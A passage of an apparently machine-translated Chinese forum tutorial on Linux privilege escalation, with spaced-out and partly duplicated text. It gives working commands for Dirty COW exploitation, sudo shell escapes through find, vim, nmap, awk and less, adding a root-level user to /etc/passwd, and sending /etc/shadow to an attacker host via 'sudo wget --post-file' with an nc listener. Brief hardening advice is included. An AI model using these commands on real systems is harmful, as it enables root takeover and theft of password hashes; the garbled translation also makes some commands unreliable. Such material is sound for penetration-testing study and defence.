况 下 ， 管 理 员 可 以 极 大 地 影 响 在 目 标 上 转 移 和 执 行 漏 洞 利 用 的 能 力 。 考 虑 到 这 些 因 素 ， 如 果 管 理 员 可 以 阻 止 将 利 用 程 序 引 入 和 / 或 执 行 到 L i n u x 文 件 系 统 上 ， 则 内 核 利 用 程 序 攻 击 将 不 再 可 行 。 因 此 ， 管 理 员 应 专 注 于 限 制 或 删 除 支 持 文 件 传 输 的 程 序 ， 例 如 F T P ， T F T P ， S C P ， w g e t 和 c u r l 。 当 需 要 这 些 程 序 时 ， 它 们 的 使 用 应 限 于 特 定 的 用 户 ， 目 录 ， 应 用 程 序 （ 例 如 S C P ） 和 特 定 的 I P 地 址 或 域 。 内 核 信 息 收 集 内 核 信 息 收 集 一 些 基 本 命 令 收 集 一 些 L i n u x 内 核 信 息 命 令 命 令 结 果 结 果 u n a m e   - a 打 印 所 有 可 用 的 系 统 信 息 u n a m e   - m L i n u x 内 核 体 系 结 构 （ 3 2 或 6 4 位 ） u n a m e   - r 内 核 发 布 u n a m e   - n 要 么 h o s t n a m e 系 统 主 机 名 c a t   / p r o c / v e r s i o n 内 核 信 息 c a t   / e t c / * - r e l e a s e 要 么 c a t   / e t c / i s s u e 发 行 信 息 c a t   / p r o c / c p u i n f o C P U 信 息 d f   - a 文 件 系 统 信 息 d p k g   — l i s t   2 > / d e v / n u l l g r e p   c o m p i l e r g r e p   - v   d e c o m p i l e r   2 > / d e v / n u l l   & &   y u m   l i s t   i n s t a l l e d   ‘ g c c * ’   2 > / d e v / n u l l g r e p   g c c   2 > / d e v / n u l l 列 出 可 用 的 编 译 器 搜 索 漏 洞 搜 索 漏 洞 s i t e : e x p l o i t - d b . c o m   k e r n e l   v e r s i o n   p y t h o n   l i n p r i v c h e c k e r . p y   e x t e n d e d 通 过 脏 牛 （ 通 过 脏 牛 （ * * C V E - 2 0 1 6 - 5 1 9 5 * * ） 利 用 易 受 攻 击 的 机 器 ） 利 用 易 受 攻 击 的 机 器 $   w h o a m i 命 令 – 告 诉 我 们 当 前 用 户 是 j o h n （ 非 r o o t 用 户 ） $   u n a m e   - a   – 给 我 们 我 们 知 道 容 易 受 到 d i r t y c o w 攻 击 的 内 核 版 本 > 从 此 处 下 载 d i r t y c o w 漏 洞 –   h t t p s ： / / w w w . e x p l o i t - d b   . c o m   /   e x p l o i t s   /   4 0 8 3 9   / > 编 译 并 执 行 。 通 过 编 辑 /   e t c   /   p a s s w d 文 件 ， 它 将 “ r o o t ” 用 户 替 换 为 新 用 户 “   r a s h ” 。 $   s u   r a s h   – 将 当 前 登 录 用 户 更 改 为 r o o t 用 户 的 “   r a s h ” 。 其 他 内 核 提 权 其 他 内 核 提 权 h t t p s : / / g i t h u b . c o m / d i r t y c o w / d i r t y c o w . g i t h u b . i o / w i k i / P o C s 对 于 不 同 的 内 核 和 操 作 系 统 ， 可 以 公 开 获 得 许 多 不 同 的 本 地 特 权 升 级 漏 洞 。 是 否 可 以 使 用 内 核 利 用 漏 洞 在 L i n u x 主 机 上 获 得 r o o t 访 问 权 限 ， 取 决 于 内 核 是 否 易 受 攻 击 。 K a l i   L i n u x 具 有 e x p l o i t - d b 漏 洞 的 本 地 副 本 ， 这 使 搜 索 本 地 根 漏 洞 更 加 容 易 。 我 不 建 议 在 搜 索 L i n u x 内 核 漏 洞 时 完 全 依 赖 此 数 据 库 。 避 免 一 开 始 就 利 用 任 何 本 地 特 权 升 级 漏 洞 避 免 一 开 始 就 利 用 任 何 本 地 特 权 升 级 漏 洞 如 果 可 以 避 免 ， 请 不 要 使 用 内 核 漏 洞 利 用 。 如 果 使 用 它 ， 可 能 会 使 计 算 机 崩 溃 或 使 其 处 于 不 稳 定 状 态 。 因 此 ， 内 核 漏 洞 利 用 应 该 是 最 后 的 手 段 。 0 x 0 0 4   l i n u x 提 权 提 权 - 利 用 以 利 用 以 r o o t 权 限 运 行 的 服 务 权 限 运 行 的 服 务 描 述 描 述 著 名 的 E t e r n a l B l u e 和 S a m b a C r y 漏 洞 利 用 了 以 r o o t 身 份 运 行 的 s m b 服 务 。 由 于 它 的 致 命 组 合 ， 它 被 广 泛 用 于 在 全 球 范 围 内 传 播 勒 索 软 件 。 这 里 的 手 法 是 ， 如 果 特 定 服 务 以 r o o t 用 户 身 份 运 行 ， 并 且 我 们 可 以 使 该 服 务 执 行 命 令 ， 则 可 以 r o o t 用 户 身 份 执 行 命 令 。 我 们 可 以 重 点 检 查 W e b 服 务 ， 邮 件 服 务 ， 数 据 库 服 务 等 是 否 以 r o o t 用 户 身 份 运 行 。 很 多 时 候 ， 运 维 都 以 r o o t 用 户 身 份 运 行 这 些 服 务 ， 而 忽 略 了 它 可 能 引 起 的 安 全 问 题 。 可 能 有 一 些 服 务 在 本 地 运 行 ， 而 没 有 公 开 暴 露 出 来 ， 但 是 也 可 以 利 用 。 n e t s t a t   - a n t u p   显 示 所 有 打 开 并 正 在 监 听 的 端 口 。 我 们 可 以 检 查 在 本 地 运 行 的 服 务 是 否 可 以 被 利 用 。 p s   a u x   列 出 哪 些 进 程 正 在 运 行 p s   - a u x   |   g r e p   r o o t   列 出 以 r o o t 身 份 运 行 的 服 务 。 在 在 M a t e s p l o i t s 中 中 p s     检 查 哪 些 进 程 正 在 运 行 利 用 以 利 用 以 r o o t 用 户 身 份 运 行 的 易 受 攻 击 的 用 户 身 份 运 行 的 易 受 攻 击 的 M y S Q L 版 本 来 获 得 版 本 来 获 得 r o o t 用 户 访 问 权 限 用 户 访 问 权 限 M y S Q L   U D F 动 态 库 漏 洞 利 用 可 让 我 们 从 m y s q l   s h e l l 执 行 任 意 命 令 。 如 果 m y s q l 以 r o o t 特 权 运 行 ， 则 命 令 将 以 r o o t 身 份 执 行 。 p s   - a u x   |   g r e p   r o o t   列 出 以 r o o t 身 份 运 行 的 服 务 。
可 以 看 到 m y s q l 服 务 以 r o o t 用 户 组 运 行 ， 那 么 我 们 可 以 使 用 将 作 为 r o o t 用 户 执 行 的 M y S Q L   S h e l l 执 行 任 意 命 令 。 。 拥 有 r o o t 权 限 的 程 序 的 二 进 制 漏 洞 利 用 远 没 有 内 核 漏 洞 利 用 危 险 ， 因 为 即 使 服 务 崩 溃 ， 主 机 也 不 会 崩 溃 ， 并 且 服 务 可 能 会 自 动 重 启 。 防 御 防 御 除 非 真 正 需 要 ， 否 则 切 勿 以 r o o t 用 户 身 份 运 行 任 何 服 务 ， 尤 其 是 W e b ， 数 据 库 和 文 件 服 务 器 。 0 x 0 0 5   l i n u x 提 权 提 权 — 滥 用 滥 用 S U D O 在 渗 透 中 ， 我 们 拿 到 的 w e b s h e l l 和 反 弹 回 来 的 s h e l l 权 限 可 能 都 不 高 ， 如 果 我 们 可 以 使 用 s u d o 命 令 访 问 某 些 程 序 ， 则 我 们 可 以 使 用 s u d o 可 以 升 级 特 权 。 在 这 里 ， 我 显 示 了 一 些 二 进 制 文 件 ， 这 些 文 件 可 以 帮 助 您 使 用 s u d o 命 令 提 升 特 权 。 但 是 在 特 权 升 级 之 前 ， 让 我 们 了 解 一 些 s u d o e r 文 件 语 法 ， s u d o 命 令 是 什 么 ？ ; ） 。 1 .   什 么 是 S U D O ？ 2 .   S u d o e r 文 件 语 法 。 3 .   利 用 S U D O 用 户 / u s r / b i n / f i n d / u s r / b i n / n a n o / u s r / b i n / v i m / u s r / b i n / m a n / u s r / b i n / a w k / u s r / b i n / l e s s / u s r / b i n / n m a p   (   – i n t e r a c t i v e   a n d   – s c r i p t   m e t h o d ) / b i n / m o r e / u s r / b i n / w g e t / u s r / s b i n / a p a c h e 2 什 么 是 什 么 是 S U D O   ? ? s u d o 是 l i n u x 系 统 管 理 指 令 ， 是 允 许 系 统 管 理 员 让 普 通 用 户 执 行 一 些 或 者 全 部 的 r o o t 命 令 的 一 个 工 具 ， 如 h a l t ， r e b o o t ， s u 等 等 。 这 样 不 仅 减 少 了 r o o t 用 户 的 登 录   和 管 理 时 间 ， 同 样 也 提 高 了 安 全 性 。 s u d o 不 是 对 s h e l l 的 一 个 代 替 ， 它 是 面 向 每 个 命 令 的 。 基 础 它 的 特 性 主 要 有 这 样 几 点 ： s u d o 能 够 限 制 用 户 只 在 某 台 主 机 上 运 行 某 些 命 令 。 s u d o 提 供 了 丰 富 的 日 志 ， 详 细 地 记 录 了 每 个 用 户 干 了 什 么 。 它 能 够 将 日 志 传 到 中 心 主 机 或 者 日 志 服 务 器 。 s u d o 使 用 时 间 戳 文 件 来 执 行 类 似 的 “ 检 票 ” 系 统 。 当 用 户 调 用 s u d o 并 且 输 入 它 的 密 码 时 ， 用 户 获 得 了 一 张 存 活 期 为 5 分 钟 的 票 （ 这 个 值 可 以 在 编 译 的 时 候 改 变 ） 。 s u d o 的 配 置 文 件 是 s u d o e r s 文 件 ， 它 允 许 系 统 管 理 员 集 中 的 管 理 用 户 的 使 用 权 限 和 使 用 的 主 机 。 它 所 存 放 的 位 置 默 认 是 在 / e t c / s u d o e r s ， 属 性 必 须 为 0 4 4 0 。 在 s u d o 于 1 9 8 0 年 前 后 被 写 出 之 前 ， 一 般 用 户 管 理 系 统 的 方 式 是 利 用 s u 切 换 为 超 级 用 户 。 但 是 使 用 s u 的 缺 点 之 一 在 于 必 须 要 先 告 知 超 级 用 户 的 密 码 。 s u d o 使 一 般 用 户 不 需 要 知 道 超 级 用 户 的 密 码 即 可 获 得 权 限 。 首 先 超 级 用 户 将 普 通 用 户 的 名 字 、 可 以 执 行 的 特 定 命 令 、 按 照 哪 种 用 户 或 用 户 组 的 身 份 执 行 等 信 息 ， 登 记 在 特 殊 的 文 件 中 （ 通 常 是 / e t c / s u d o e r s ） ， 即 完 成 对 该 用 户 的 授 权 （ 此 时 该 用 户 称 为 “ s u d o e r ” ） ； 在 一 般 用 户 需 要 取 得 特 殊 权 限 时 ， 其 可 在 命 令 前 加 上 “ s u d o ” ， 此 时 s u d o 将 会 询 问 该 用 户 自 己 的 密 码 （ 以 确 认 终 端 机 前 的 是 该 用 户 本 人 ） ， 回 答 后 系 统 即 会 将 该 命 令 的 进 程 以 超 级 用 户 的 权 限 运 行 。 之 后 的 一 段 时 间 内 （ 默 认 为 5 分 钟 ， 可 在 / e t c / s u d o e r s 自 定 义 ） ， 使 用 s u d o 不 需 要 再 次 输 入 密 码 。 由 于 不 需 要 超 级 用 户 的 密 码 ， 部 分 U n i x 系 统 甚 至 利 用 s u d o 使 一 般 用 户 取 代 超 级 用 户 作 为 管 理 帐 号 ， 例 如 U b u n t u 、 M a c   O S   X 等 。 参 数 说 明 参 数 说 明 ： - V   显 示 版 本 编 号 - h   会 显 示 版 本 编 号 及 指 令 的 使 用 方 式 说 明
- l   显 示 出 自 己 （ 执 行   s u d o   的 使 用 者 ） 的 权 限 - v   因 为   s u d o   在 第 一 次 执 行 时 或 是 在   N   分 钟 内 没 有 执 行 （ N   预 设 为 五 ） 会 问 密 码 ， 这 个 参 数 是 重 新 做 一 次 确 认 ， 如 果 超 过   N   分 钟 ， 也 会 问 密 码 - k   将 会 强 迫 使 用 者 在 下 一 次 执 行   s u d o   时 问 密 码 （ 不 论 有 没 有 超 过   N   分 钟 ） - b   将 要 执 行 的 指 令 放 在 背 景 执 行 - p   p r o m p t   可 以 更 改 问 密 码 的 提 示 语 ， 其 中   % u   会 代 换 为 使 用 者 的 帐 号 名 称 ，   % h   会 显 示 主 机 名 称 - u   u s e r n a m e / # u i d   不 加 此 参 数 ， 代 表 要 以   r o o t   的 身 份 执 行 指 令 ， 而 加 了 此 参 数 ， 可 以 以   u s e r n a m e   的 身 份 执 行 指 令 （ # u i d   为 该   u s e r n a m e   的 使 用 者 号 码 ） - s   执 行 环 境 变 数 中 的   S H E L L   所 指 定 的   s h e l l   ， 或 是   / e t c / p a s s w d   里 所 指 定 的   s h e l l - H   将 环 境 变 数 中 的   H O M E   （ 家 目 录 ） 指 定 为 要 变 更 身 份 的 使 用 者 家 目 录 （ 如 不 加   - u   参 数 就 是 系 统 管 理 者   r o o t   ） c o m m a n d   要 以 系 统 管 理 者 身 份 （ 或 以   - u   更 改 为 其 他 人 ） 执 行 的 指 令 S u d o e r 文 件 文 件 s u d o e r s 文 件 主 要 有 三 部 分 组 成 ： 文 件 主 要 有 三 部 分 组 成 ： s u d o e r s 的 默 认 配 置 （ d e f a u l t ） ， 主 要 设 置 s u d o 的 一 些 缺 省 值 a l i a s （ 别 名 ） ， 主 要 有 H o s t _ A l i a s | R u n a s _ A l i a s | U s e r _ A l i a s | C m n d _ A l i a s 。 安 全 策 略 （ 规 则 定 义 ） — — 重 点 重 点 。 语 法 r o o t   A L L = ( A L L )   A L L 说 明 1 ： r o o t 用 户 可 以 从     A L L 终 端 作 为     A L L （ 任 意 ） 用 户 执 行 ， 并 运 行     A L L （ 任 意 ） 命 令 。 第 一 部 分 是 用 户 ， 第 二 部 分 是 用 户 可 以 在 其 中 使 用 s u d o 命 令 的 终 端 ， 第 三 部 分 是 他 可 以 充 当 的 用 户 ， 最 后 一 部 分 是 他 在 使 用 时 可 以 运 行 的 命 令 。 s u d o t o u h i d   A L L =   / s b i n / p o w e r o f f 说 明 2 ： 以 上 命 令 ， 使 用 户 可 以 从 任 何 终 端 使 用 t o u h i d * * 的 用 户 密 码 * * 关 闭 命 令 电 源 。 t o u h i d   A L L   =   ( r o o t )   N O P A S S W D :   / u s r / b i n / f i n d 说 明 3 ： 上 面 的 命 令 ， 使 用 户 可 以 从 任 何 终 端 运 行 ， 以 r o o t 用 户 身 份 运 行 命 令 f i n d   而 无 需 密 码 而 无 需 密 码 。 利 用 利 用 S U D O 用 户 用 户 要 利 用 s u d o 用 户 ， 您 需 要 找 到 您 必 须 允 许 的 命 令 。 s u d o   - l 上 面 的 命 令 显 示 了 允 许 当 前 用 户 使 用 的 命 令 。 此 处 s u d o   - l ， 显 示 用 户 已 允 许 以 r o o t 用 户 身 份 执 行 所 有 此 二 进 制 文 件 而 无 需 密 码 。 让 我 们 一 一 查 看 所 有 二 进 制 文 件 （ 仅 在 索 引 中 提 到 ） 和 将 特 权 特 权 提 升 给 r o o t 用 户 。 使 用 查 找 命 令 使 用 查 找 命 令 s u d o   f i n d   /   e t c   /   p a s s w d   - e x e c   /   b i n   /   s h   ; 要 么 s u d o   f i n d   /   b i n   - n a m e   n a n o   - e x e c   /   b i n   /   s h   ;
使 用 使 用 V i m 命 令 命 令 s u d o   v i m   - c ’ ！ s h ’ 使 用 使 用 N m a p 命 令 命 令 s u d o   n m a p - 交 互 式 n m a p > ！ s h s h - 4 . 1 ＃ 注 意 ： 注 意 ： * * n m a p   – i n t e r a c t i v e 选 项 在 最 新 的 选 项 在 最 新 的 n m a p * * 中 不 可 用 。 中 不 可 用 。 没 有 互 动 的 最 新 方 式 e c h o “   o s . e x e c u t e （ ’ /   b i n   /   s h ’ ） ” >   / t m p / s h e l l . n s e   & &   s u d o   n m a p   — s c r i p t   =   /   t m p   /   s h e l l . n s e 使 用 使 用 M a n 命 令 命 令 s u d o   m a n   m a n 之 后 按 ！ ！ 按 下 并 按 E n t e r 使 用 使 用 l e s s / m o r e 命 令 命 令 s u d o   l e s s   /   e t c   /   h o s t s s u d o   m o r e   /   e t c   /   h o s t s 之 后 按 ！ ！ 按 下 并 按 E n t e r 使 用 使 用 a w k 命 令 命 令 s u d o   a w k ’ B E G I N   { s y s t e m （ “   /   b i n   /   s h ” ） } ’ 使 用 使 用 n a n o 命 令 命 令 n a n o 是 使 用 此 编 辑 器 的 文 本 编 辑 器 ， 在 您 需 要 切 换 用 户 之 后 ， 您 可 以 修 改 p a s s w d 文 件 并 将 用 户 添 加 为 r o o t 特 权 。 在 /   e t c   / p a s s w d 中 添 加 此 行 ， 以 将 用 户 添 加 为 r o o t 特 权 。 t o u h i d ： $   6   $   b x w J f z o r   $   M U h U W O 0 M U g d k W f P P E y d q g Z p m . Y t P M I   /   g a M 4 l V q h P 2 1 L F N W m S J 8 2 1 k v J n I y o O D Y t B h . S F 9 a R 7 c i Q B R C c w 5 b g j X 0 ： 0 ： 0 ： r o o t ： /   r o o t ： /   b i n s u d o   n a n o   /   e t c   /   p a s s w d 现 在 切 换 用 户 密 码 是 ： t e s t s u   t o u h i d 使 用 使 用 w g e t 命 令 命 令 这 种 非 常 酷 的 方 式 要 求 W e b 服 务 器 下 载 文 件 。 这 样 我 从 没 在 任 何 地 方 见 过 。 让 我 们 解 释 一 下 。 首 先 将 T a r g e t 的 /   e t c   /   p a s s w d 文 件 复 制 到 攻 击 者 计 算 机 。 修 改 文 件 ， 并 在 上 一 步 中 保 存 的 密 码 文 件 中 添 加 用 户 到 攻 击 者 计 算 机 。 仅 附 加 此 行 = >       t o u h i d * * ： $   6   $   b x w J f z o r   $ M U h U W O 0 M U g d k W f P P E y d q g Z p m . Y t P M I   / g a M 4 l V q h P 2 1 L F N W m S J 8 2 1 k v J n I y o O D Y t B h . S F 9 a R 7 c i Q B R C c w 5 b g j X 0 /   0 ： b ： r o o t   /   r o o t ： * * 将 p a s s w d 文 件 托 管 到 使 用 任 何 W e b 服 务 器 的 主 机 。 在 受 害 者 方 面 。 在 受 害 者 方 面 。 s u d o   w g e t   h t t p : / / 1 9 2 . 1 6 8 . 5 6 . 1 : 8 0 8 0 / p a s s w d   - O   /   e t c   /   p a s s w d 现 在 切 换 用 户 密 码 是 ： t e s t s u   t o u h i d 注 意 ： 如 果 您 要 从 服 务 器 上 转 储 文 件 ， 例 如 注 意 ： 如 果 您 要 从 服 务 器 上 转 储 文 件 ， 例 如 r o o t 的 的 s s h 密 钥 ， 密 钥 ， s h a d o w 文 件 等 。 文 件 等 。 s u d o   w g e t   — p o s t - f i l e   =   /   e t c   /   s h a d o w   1 9 2 . 1 6 8 . 5 6 . 1 : 8 0 8 0 攻 击 者 的 设 置 侦 听 器 ： n c   – l v p   8 0 8 0 使 用 使 用 a p a c h e 命 令 命 令 但 是 ， 我 们 无 法 获 得 S h e l l 和 C a n t 编 辑 系 统 文 件 。 但 是 使 用 它 我 们 可 以 查 看 系 统 文 件 。 s u d o   a p a c h e 2   - f   /   e t c   /   s h a d o w 输 出 是 这 样 的 ： S y n t a x   e r r o r   o n   l i n e   1   o f   / e t c / s h a d o w : I n v a l i d   c o m m a n d ' r o o t : $ 6 $ b x w J f z o r $ M U h U W O 0 M U g d k W f P P E y d q g Z p m . Y t P M I / g a M 4 l V q h P 2 1 L F N W m S J 8 2 1 k v J n I y o O D Y t B h . S F 9 a R 7 c i Q B R C c w 5 b g j X 0 : 1 7 2 9 8 : 0 : 9 9 9 9 9 : 7 : : : ' ,   p e r h a p s   m i s s p e l l e d   o r   d e f i n e d   b y   a m o d u l e   n o t   i n c l u d e d   i n   t h e   s e r v e r   c o n f i g u r a t i o n 可 悲 的 是 没 有 s h e l l 。 但 是 我 们 可 以 现 在 提 取 r o o t 哈 希 ， 然 后 在 破 解 了 哈 希 。 0 x 0 0 6   l i n u x 提 权 提 权 - S u i d 和 和 G u i d 配 置 错 误 配 置 错 误
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理